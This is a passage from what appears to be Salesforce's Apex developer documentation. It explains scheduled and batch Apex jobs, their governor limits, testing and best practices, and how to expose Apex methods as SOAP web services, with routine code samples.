in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query the
CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
• The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to the REST API limits resource. See List Organization Limits in the Force.com REST API Developer Guide. The
licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter
customer users, Customer Portal User, and partner portal User licenses aren’t included.
Apex Scheduler Notes and Best Practices
• Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.
• Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
• Though it's possible to do additional processing in the execute method, we recommend that all processing take place in a
separate class.
• Synchronous Web service callouts are not supported from scheduled Apex. To be able to make callouts, make an asynchronous
callout by placing the callout in a method annotated with @future(callout=true) and call this method from scheduled
Apex. However, if your scheduled Apex executes a batch job, callouts are supported from the batch class. See Using Batch Apex.
• Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service comes
back up, when system resources become available. If a scheduled Apex job was running when downtime occurred, the job is rolled
back and scheduled again after the service comes back up. Note that after major service upgrades, there might be longer delays
than usual for starting scheduled Apex jobs because of system usage spikes.
SEE ALSO:
Schedulable Interface
Batch Apex
A developer can now employ batch Apex to build complex, long-running processes that run on thousands of records on the Force.com
platform. Batch Apex operates over small batches of records, covering your entire record set and breaking the processing down to
manageable chunks. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a
certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and
Opportunities on a nightly basis and updates them if necessary, based on custom criteria.
Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at
runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce or programmatically using SOAP API to query the AsyncApexJob object.
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Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the
trigger will not add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes
through the user interface, and all cases where more than one record can be updated at a time.
Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule
Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Schedule Apex” in the Salesforce
online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 242.
For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 186.
IN THIS SECTION:
Using Batch Apex
Using Batch Apex
To use batch Apex, write an Apex class that implements the Salesforce-provided interface Database.Batchable and then invoke
the class programmatically.
To monitor or stop the execution of the batch Apex job, from Setup, enter Apex Jobs in the Quick Find box, then select Apex
Jobs.
Implementing the Database.Batchable Interface
The Database.Batchable interface contains three methods that must be implemented.
• start method:
global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc)
{}
To collect the records or objects to pass to the interface method execute, call the start method at the beginning of a batch
Apex job. This method returns either a Database.QueryLocator object or an iterable that contains the records or objects
passed to the job.
When you’re using a simple query (SELECT) to generate the scope of objects in the batch job, use the
Database.QueryLocator object. If you use a QueryLocator object, the governor limit for the total number of records
retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all
account records (up to 50 million records) in an org. Another example is a sharing recalculation for the Contact object that returns
a QueryLocator for all account records in an org.
Use the iterable to create a complex scope for the batch job. You can also use the iterable to create your own custom process for
iterating through the list.
Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.
• execute method:
global void execute(Database.BatchableContext BC, list<P>){}
To do the required processing for each chunk of data, use the execute method. This method is called for each batch of records
that you pass to it.
This method takes the following:
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– A reference to the Database.BatchableContext object.
– A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a Database.QueryLocator,
use the returned list.
Batches of records tend to execute in the order in which they’re received from the start method. However, the order in which
batches of records execute depends on various factors. The order of execution isn’t guaranteed.
• finish method:
global void finish(Database.BatchableContext BC){}
To send confirmation emails or execute post-processing operations, use the finish method. This method is called after all batches
are processed.
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records
each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates
made in the first transaction are not rolled back.
Using Database.BatchableContext
All the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object.
Use this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:
Name
getJobID
Arguments
Returns
Description
ID
Returns the ID of the AsyncApexJob object associated with
this batch job as a string. Use this method to track the
progress of records in the batch job. You can also use this
ID with the System.abortJob method.
The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
global void finish(Database.BatchableContext BC){
// Get the ID of the AsyncApexJob representing this batch job
// from Database.BatchableContext.
// Query the AsyncApexJob object to retrieve the current job's information.
AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
TotalJobItems, CreatedBy.Email
FROM AsyncApexJob WHERE Id =
:BC.getJobId()];
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {a.CreatedBy.Email};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation ' + a.Status);
mail.setPlainTextBody
('The batch Apex job processed ' + a.TotalJobItems +
' batches with '+ a.NumberOfErrors + ' failures.');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
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Using Database.QueryLocator to Define Scope
The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable.
The following example uses a Database.QueryLocator:
global class SearchAndReplace implements Database.Batchable<sObject>{
global
global
global
global
final
final
final
final
String
String
String
String
Query;
Entity;
Field;
Value;
global SearchAndReplace(String q, String e, String f, String v){
Query=q; Entity=e; Field=f;Value=v;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
for(sobject s : scope){
s.put(Field,Value);
}
update scope;
}
global void finish(Database.BatchableContext BC){
}
}
Using an Iterable in Batch Apex to Define Scope
The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable. Use an iterable to step through the returned items more easily.
global class batchClass implements Database.batchable{
global Iterable start(Database.BatchableContext info){
return new CustomAccountIterable();
}
global void execute(Database.BatchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 70;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.BatchableContext info){
}
}
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Using the Database.executeBatch Method to Submit Batch Jobs
You can use the Database.executeBatch method to programmatically begin a batch job.
Important: When you call Database.executeBatch, Salesforce adds the process to the queue. Actual execution can be
delayed based on service availability.
The Database.executeBatch method takes two parameters:
• An instance of a class that implements the Database.Batchable interface.
• An optional parameter scope. This parameter specifies the number of records to pass into the execute method. Use this
parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the
number of records, you are limiting the operations per transaction. This value must be greater than zero. If the start method of
the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum
value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to
2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit. However,
if you use a high number, you can run into other limits.
The Database.executeBatch method returns the ID of the AsyncApexJob object, which you can use to track the progress of
the job. For example:
ID batchprocessid = Database.executeBatch(reassign);
AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors
FROM AsyncApexJob WHERE ID =: batchprocessid ];
You can also use this ID with the System.abortJob method.
For more information, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
Holding Batch Jobs in the Apex Flex Queue
With the Apex flex queue, you can submit up to 100 batch jobs.
The outcome of Database.executeBatch is as follows.
• The batch job is placed in the Apex flex queue, and its status is set to Holding.
• If the Apex flex queue has the maximum number of 100 jobs, Database.executeBatch throws a LimitException
and doesn’t add the job to the queue.
Note: If your org doesn’t have Apex flex queue enabled, Database.executeBatch adds the batch job to the batch job
queue with the Queued status. If the concurrent limit of queued or active batch job has been reached, a LimitException
is thrown, and the job isn’t queued.
Reordering Jobs in the Apex Flex Queue
While submitted jobs have a status of Holding, you can reorder them in the Salesforce user interface to control which batch jobs are
processed first. To do so, from Setup, enter Apex Flex Queue in the Quick Find box, then select Apex Flex Queue.
Alternatively, you can use Apex methods to reorder batch jobs in the flex queue. To move a job to a new position, call one of the
System.FlexQueue methods. Pass the method the job ID and, if applicable, the ID of the job next to the moved job’s new position.
For example:
Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);
You can reorder jobs in the Apex flex queue to prioritize jobs. For example, you can move a batch job up to the first position in the
holding queue to be processed first when resources become available. Otherwise, jobs are processed “first-in, first-out”—in the order
in which they’re submitted.
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When system resources become available, the system picks up the next job from the top of the Apex flex queue and moves it to the
batch job queue. The system can process up to five queued or active jobs simultaneously for each organization. The status of these
moved jobs changes from Holding to Queued. Queued jobs get executed when the system is ready to process new jobs. You can
monitor queued jobs on the Apex Jobs page.
Batch Job Statuses
The following table lists all possible statuses for a batch job along with a description of each.
Status
Description
Holding
Job has been submitted and is held in the Apex flex queue until
system resources become available to queue the job for processing.
Queued
Job is awaiting execution.
Preparing
The start method of the job has been invoked. This status can
last a few minutes depending on the size of the batch of records.
Processing
Job is being processed.
Aborted
Job aborted by a user.
Completed
Job completed with or without failures.
Failed
Job experienced a system failure.
Using the System.scheduleBatch Method
You can use the System.scheduleBatch method to schedule a batch job to run once at a future time.
The System.scheduleBatch method takes the following parameters.
• An instance of a class that implements the Database.Batchable interface.
• The job name.
• The time interval, in minutes, after which the job starts executing.
• An optional scope value. This parameter specifies the number of records to pass into the execute method. Use this parameter
when you have many operations for each record being passed in and are running into governor limits. By limiting the number of
records, you are limiting the operations per transaction. This value must be greater than zero. If the start method returns a
QueryLocator, the optional scope parameter of System.scheduleBatch can have a maximum value of 2,000. If set to a higher
value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to 2,000 records. If the start method
returns an iterable, the scope parameter value has no upper limit. However, if you use a high number, you can run into other limits.
The System.scheduleBatch method returns the scheduled job ID (CronTrigger ID).
This example schedules a batch job to run one minute from now by calling System.scheduleBatch. The example passes this
method an instance of a batch class (the reassign variable), a job name, and a time interval of one minute. The optional scope
parameter has been omitted. The method returns the scheduled job ID, which is used to query CronTrigger to get the status of the
corresponding scheduled job.
String cronID = System.scheduleBatch(reassign, 'job example', 1);
CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :cronID];
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// TimesTriggered should be 0 because the job hasn't started yet.
System.assertEquals(0, ct.TimesTriggered);
System.debug('Next fire time: ' + ct.NextFireTime);
// For example:
// Next fire time: 2013-06-03 13:31:23
For more information, see CronTrigger in the Object Reference for Salesforce and Force.com.
Note: Some things to note about System.scheduleBatch:
• When you call System.scheduleBatch, Salesforce schedules the job for execution at the specified time. Actual execution
occurs at or after that time, depending on service availability.
• The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
• When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your
org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
• All scheduled Apex limits apply for batch jobs scheduled using System.scheduleBatch. After the batch job is queued
(with a status of Holding or Queued), all batch job limits apply and the job no longer counts toward scheduled Apex
limits.
• After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled
job using the System.abortJob method.
Batch Apex Examples
The following example uses a Database.QueryLocator:
global class UpdateAccountFields implements Database.Batchable<sObject>{
global final String Query;
global final String Entity;
global final String Field;
global final String Value;
global UpdateAccountFields(String q, String e, String f, String v){
Query=q; Entity=e; Field=f;Value=v;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC,
List<sObject> scope){
for(Sobject s : scope){s.put(Field,Value);
}
update scope;
}
global void finish(Database.BatchableContext BC){
}
}
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You can use the following code to call the previous class.
// Query for 10 accounts
String q = 'SELECT Industry FROM Account LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
To exclude accounts or invoices that were deleted but are still in the Recycle Bin, include isDeleted=false in the SOQL query
WHERE clause, as shown in these modified samples.
// Query for accounts that aren't in the Recycle Bin
String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
// Query for invoices that aren't in the Recycle Bin
String q =
'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10';
String e = 'Invoice_Statement__c';
String f = 'Description__c';
String v = 'Updated description';
Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5);
The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
global class OwnerReassignment implements Database.Batchable<sObject>{
String query;
String email;
Id toUserId;
Id fromUserId;
global Database.querylocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);}
global void execute(Database.BatchableContext BC, List<sObject> scope){
List<Account> accns = new List<Account>();
for(sObject s : scope){Account a = (Account)s;
if(a.OwnerId==fromUserId){
a.OwnerId=toUserId;
accns.add(a);
}
}
update accns;
}
global void finish(Database.BatchableContext BC){
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(new String[] {email});
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mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
Use the following to execute the OwnerReassignment class in the previous example.
OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' +
'WHERE ownerid=\'' + u.id + '\'';
reassign.email='admin@acme.com';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);
The following is an example of a batch Apex class for deleting records.
global class BatchDelete implements Database.Batchable<sObject> {
public String query;
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
delete scope;
DataBase.emptyRecycleBin(scope);
}
global void finish(Database.BatchableContext BC){
}
}
This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete for all
documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.
BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId +
'\' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);
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Using Callouts in Batch Apex
To use a callout in batch Apex, specify Database.AllowsCallouts in the class definition. For example:
global class SearchAndReplace implements Database.Batchable<sObject>,
Database.AllowsCallouts{
}
Callouts include HTTP requests and methods defined with the webservice keyword.
Using State in Batch Apex
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter is considered five transactions of 200 records each.
If you specify Database.Stateful in the class definition, you can maintain state across these transactions. When using
Database.Stateful, only instance member variables retain their values between transactions. Static member variables don’t
retain their values and are reset between transactions. Maintaining state is useful for counting or summarizing records as they’re processed.
For example, suppose your job processed opportunity records. You could define a method in execute to aggregate totals of the
opportunity amounts as they were processed.
If you don’t specify Database.Stateful, all static and instance member variables are set back to their original values.
The following example summarizes a custom field total__c as the records are processed.
global class SummarizeAccountTotal implements
Database.Batchable<sObject>, Database.Stateful{
global final String Query;
global integer Summary;
global SummarizeAccountTotal(String q){Query=q;
Summary = 0;
}
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator(query);
}
global void execute(
Database.BatchableContext BC,
List<sObject> scope){
for(sObject s : scope){
Summary = Integer.valueOf(s.get('total__c'))+Summary;
}
}
global void finish(Database.BatchableContext BC){
}
}
In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all
instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final
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global class MyBatchable implements Database.Batchable<sObject> {
private final String initialState;
String query;
global MyBatchable(String intialState) {
this.initialState = initialState;
}
global Database.QueryLocator start(Database.BatchableContext BC) {
// Access initialState here
return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC,
List<sObject> batch) {
// Access initialState here
}
global void finish(Database.BatchableContext BC) {
// Access initialState here
}
}
The initialState stores only the initial state of the class. You can’t use it to pass information between instances of the class during
execution of the batch job. For example, if you change the value of initialState in execute, the second chunk of processed
records can’t access the new value. Only the initial value is accessible.
Testing Batch Apex
When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running into
governor limits.
The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the
executeBatch method to ensure that it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t
include the executeBatch method within the startTest and stopTest methods, the batch job executes at the end of your
test method. This execution order applies for Apex saved using API version 25.0 and later, but not for earlier versions.
For Apex saved using API version 22.0 and later, exceptions that occur during the execution of a batch Apex job invoked by a test method
are passed to the calling test method. As a result, these exceptions cause the test method to fail. If you want to handle exceptions in the
test method, enclose the code in try and catch statements. Place the catch block after the stopTest method. However, with
Apex saved using Apex version 21.0 and earlier, such exceptions don’t get passed to the test method and don’t cause test methods to
fail.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count
against your limits for the number of queued jobs.
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The following example tests the OwnerReassignment class.
public static testMethod void testBatch() {
user u = [SELECT ID, UserName FROM User
WHERE username='testuser1@acme.com'];
user u2 = [SELECT ID, UserName FROM User
WHERE username='testuser2@acme.com'];
String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.
// Important - the Salesforce.com test framework only allows you to
// test one execute.
List <Account> accns = new List<Account>();
for(integer i = 0; i<200; i++){
Account a = new Account(Name='testAccount'+'i',
Ownerid = u.ID);
accns.add(a);
}
insert accns;
Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid ' +
'FROM Account ' +
'WHERE OwnerId=\'' + u.Id + '\'' +
' LIMIT 200';
reassign.email='admin@acme.com';
reassign.fromUserId = u.Id;
reassign.toUserId = u2.Id;
ID batchprocessid = Database.executeBatch(reassign);
Test.StopTest();
System.AssertEquals(
database.countquery('SELECT COUNT()'
+' FROM Account WHERE OwnerId=\'' + u2.Id + '\''),
200);
}
}
Use the System.Test.enqueueBatchJobs and System.Test.getFlexQueueOrder methods to enqueue and
reorder no-operation jobs within the contexts of tests.
Batch Apex Governor Limits
Keep in mind the following governor limits for batch Apex.
• Up to 5 batch jobs can be queued or active concurrently.
• Up to 100 Holding batch jobs can be held in the Apex flex queue.
• In a running test, you can submit a maximum of 5 batch jobs.
• The maximum number of batch Apex method executions per 24-hour period is 250,000, or the number of user licenses in your org
multiplied by 200—whichever is greater. Method executions include executions of the start, execute, and finish methods.
This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future
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methods. To check how many asynchronous Apex executions are available, make a request to the REST API limits resource. See
List Organization Limits in the Force.com REST API Developer Guide. The licenses that count toward this limit are full Salesforce user
licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and partner portal
User licenses aren’t included.
• The batch Apex start method can have up to 15 query cursors open at a time per user. The batch Apex execute and finish
methods each have a limit of five open query cursors per user.
• A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records
are returned, the batch job is immediately terminated and marked as Failed.
• If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper
limit. However, if you use a high number, you can run into other limits.
• If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned
by the start method into batches of 200. The system then passes each batch to the execute method. Apex governor limits
are reset for each execution of execute.
• The start, execute, and finish methods can implement up to 100 callouts each.
• Only one batch Apex job's start method can run at a time in an org. Batch jobs that haven’t started yet remain in the queue until
they're started. Note that this limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel
if more than one job is running.
Batch Apex Best Practices
• Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not
add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user
interface, and all cases where more than one record can be updated at a time.
• When you call Database.executeBatch, Salesforce only places the job in the queue. Actual execution can be delayed based
on service availability.
• When testing your batch Apex, you can test only one execution of the execute method. Use the scope parameter of the
executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running
into governor limits.
• The executeBatch method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously
processed batch job is finished before testing against the results. Use the Test methods startTest and stopTest around
the executeBatch method to ensure that it finishes before continuing your test.
• Use Database.Stateful with the class definition if you want to share instance member variables or data across job transactions.
Otherwise, all member variables are reset to their initial state at the start of each transaction.
• Methods declared as future aren’t allowed in classes that implement the Database.Batchable interface.
• Methods declared as future can’t be called from a batch Apex class.
• When a batch Apex job is run, email notifications are sent to the user who submitted the batch job. If the code is included in a
managed package and the subscribing org is running the batch job, notifications are sent to the recipient listed in the Apex
Exception Notification Recipient field.
• Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
• Each batch Apex invocation creates an AsyncApexJob record. To construct a SOQL query to retrieve the job’s status, number
of errors, progress, and submitter, use the AsyncApexJob record’s ID. For more information about the AsyncApexJob object,
see AsyncApexJob in the Object Reference for Salesforce and Force.com.
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• For each 10,000 AsyncApexJob records, Apex creates an AsyncApexJob record of type BatchApexWorker for internal
use. When querying for all AsyncApexJob records, we recommend that you filter out records of type BatchApexWorker
using the JobType field. Otherwise, the query returns one more record for every 10,000 AsyncApexJob records. For more
information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
• All methods in the class must be defined as global or public.
• For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing for
the records in the batch. This process ensures that sharing is accurate and complete.
• Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when
system resources become available, the queued batch jobs are executed. If a batch job was running when downtime occurred, the
batch execution is rolled back and restarted after the service comes back up.
• Minimize the number of batches, if possible. Salesforce uses a queue-based framework to handle asynchronous processes from such
sources as future methods and batch Apex. This queue is used to balance request workload across organizations. If more than 2,000
unprocessed requests from a single organization are in the queue, any additional requests from the same organization will be delayed
while the queue handles requests from other organizations.
• Ensure that batch jobs execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times and
tune queries used in your batch Apex code. The longer the batch job executes, the more likely other queued jobs are delayed when
many jobs are in the queue.
• If you use batch Apex with Database.QueryLocator to access external objects via an OData adapter for Salesforce Connect:
– You must enable Request Row Counts on the external data source, and each response from the external system must include
the total row count of the result set.
– We recommend enabling Server Driven Pagination on the external data source and having the external system determine page
sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate
changing data sets more effectively than client-driven paging.
When Server Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior
(client-driven). If external object records are added to the external system while a job runs, other records can be processed twice.
If external object records are deleted from the external system while a job runs, other records can be skipped.
– When Server Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of the following:
• Batch size specified in the scope parameter of Database.executeBatch. Default is 200 records.
• Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200
or fewer records.
Chaining Batch Jobs
Starting with API version 26.0, you can start another batch job from an existing batch job to chain jobs together. Chain a batch job to
start a job after another one finishes and when your job requires batch processing, such as when processing large data volumes. Otherwise,
if batch processing isn’t needed, consider using Queueable Apex.
You can chain a batch job by calling Database.executeBatch or System.scheduleBatch from the finish method
of the current batch class. The new batch job will start after the current batch job finishes.
For previous API versions, you can’t call Database.executeBatch or System.scheduleBatch from any batch Apex
method. The version that’s used is the version of the running batch class that starts or schedules another batch job. If the finish
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method in the running batch class calls a method in a helper class to start the batch job, the API version of the helper class doesn’t
matter.
SEE ALSO:
Batchable Interface
FlexQueue Class
enqueueBatchJobs(numberOfJobs)
getFlexQueueOrder()
Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters
Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter
Exposing Apex Methods as SOAP Web Services
You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.
To expose your Apex methods, use Webservice Methods.
Tip:
• Apex SOAP web services allow an external application to invoke Apex methods through SOAP Web services. Apex callouts
enable Apex to invoke external web or HTTP services.
• Apex REST API exposes your Apex classes and methods as REST web services. See Exposing Apex Classes as REST Web Services.
IN THIS SECTION:
Webservice Methods
Exposing Data with Webservice Methods
Considerations for Using the webservice Keyword
Overloading Web Service Methods
Webservice Methods
Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service
to perform an action in Salesforce. Use the webservice keyword to define these methods. For example:
global class MyWebService {
webservice static Id makeContact(String contactLastName, Account a) {
Contact c = new Contact(lastName = contactLastName, AccountId = a.Id);
insert c;
return c.id;
}
}
A developer of an external application can integrate with an Apex class containing webservice methods by generating a WSDL for
the class. To generate a WSDL from an Apex class detail page:
1. In the application from Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes.
2. Click the name of a class that contains webservice methods.
3. Click Generate WSDL.
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Exposing Data with Webservice Methods
Invoking a custom webservice method always uses system context. Consequently, the current user's credentials are not used, and
any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules.
Developers who expose methods with the webservice keyword should therefore take care that they are not inadvertently exposing
any sensitive data.
Warning: Apex class methods that are exposed through the API with the webservice keyword don't enforce object permissions
and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods
to check the current user’s access level on the objects and fields that the webservice method is accessing. See DescribeSObjectResult
Class and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that contain webservice methods. To enforce sharing rules for webservice
methods, declare the class that contains these methods with the with sharing keyword. See Using the with sharing or
without sharing Keywords.
Considerations for Using the webservice Keyword
When using the webservice keyword, keep the following considerations in mind:
• Use the webservice keyword to define top-level methods and outer class methods. You can’t use the webservice keyword
to define a class or an inner class method.
• You cannot use the webservice keyword to define an interface, or to define an interface's methods and variables.
• System-defined enums cannot be used in Web service methods.
• You cannot use the webservice keyword in a trigger.
• All classes that contain methods defined with the webservice keyword must be declared as global. If a method or inner class
is declared as global, the outer, top-level class must also be defined as global.
• Methods defined with the webservice keyword are inherently global. Any Apex code that has access to the class can use these
methods. You can consider the webservice keyword as a type of access modifier that enables more access than global.
• Define any method that uses the webservice keyword as static.
• You cannot deprecate webservice methods or variables in managed package code.
• Because there are no SOAP analogs for certain Apex elements, methods defined with the webservice keyword cannot take the
following elements as parameters. While these elements can be used within the method, they also cannot be marked as return
values.
– Maps
– Sets
– Pattern objects
– Matcher objects
– Exception objects
• Use the webservice keyword with any member variables that you want to expose as part of a Web service. Do not mark these
member variables as static.
Considerations for calling Apex SOAP Web service methods:
• Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
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• Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex SOAP
Web service methods aren't supported and result in the INVALID_OPERATION_WITH_EXPIRED_PASSWORD error. Reset the user's
password and make a call with an unexpired password to be able to call Apex Web service methods.
The following example shows a class with Web service member variables and a Web service method:
global class SpecialAccounts {
global class AccountInfo {
webservice String AcctName;
webservice Integer AcctNumber;
}
webservice static Account createAccount(AccountInfo info) {
Account acct = new Account();
acct.Name = info.AcctName;
acct.AccountNumber = String.valueOf(info.AcctNumber);
insert acct;
return acct;
}
webservice static Id [] createAccounts(Account parent,
Account child, Account grandChild) {
insert parent;
child.parentId = parent.Id;
insert child;
grandChild.parentId = child.Id;
insert grandChild;
Id [] results = new Id[3];
results[0] = parent.Id;
results[1] = child.Id;
results[2] = grandChild.Id;
return results;
}
}
// Test class for the previous class.
@isTest
private class SpecialAccountsTest {
testMethod static void testAccountCreate() {
SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo();
info.AcctName = 'Manoj Cheenath';
info.AcctNumber = 12345;
Account acct = SpecialAccounts.createAccount(info);
System.assert(acct != null);
}
}
You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 271.
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Overloading Web Service Methods
SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with
the webservice keyword to have the same name. Web service methods that have the same name in the same class generate a
compile-time error.
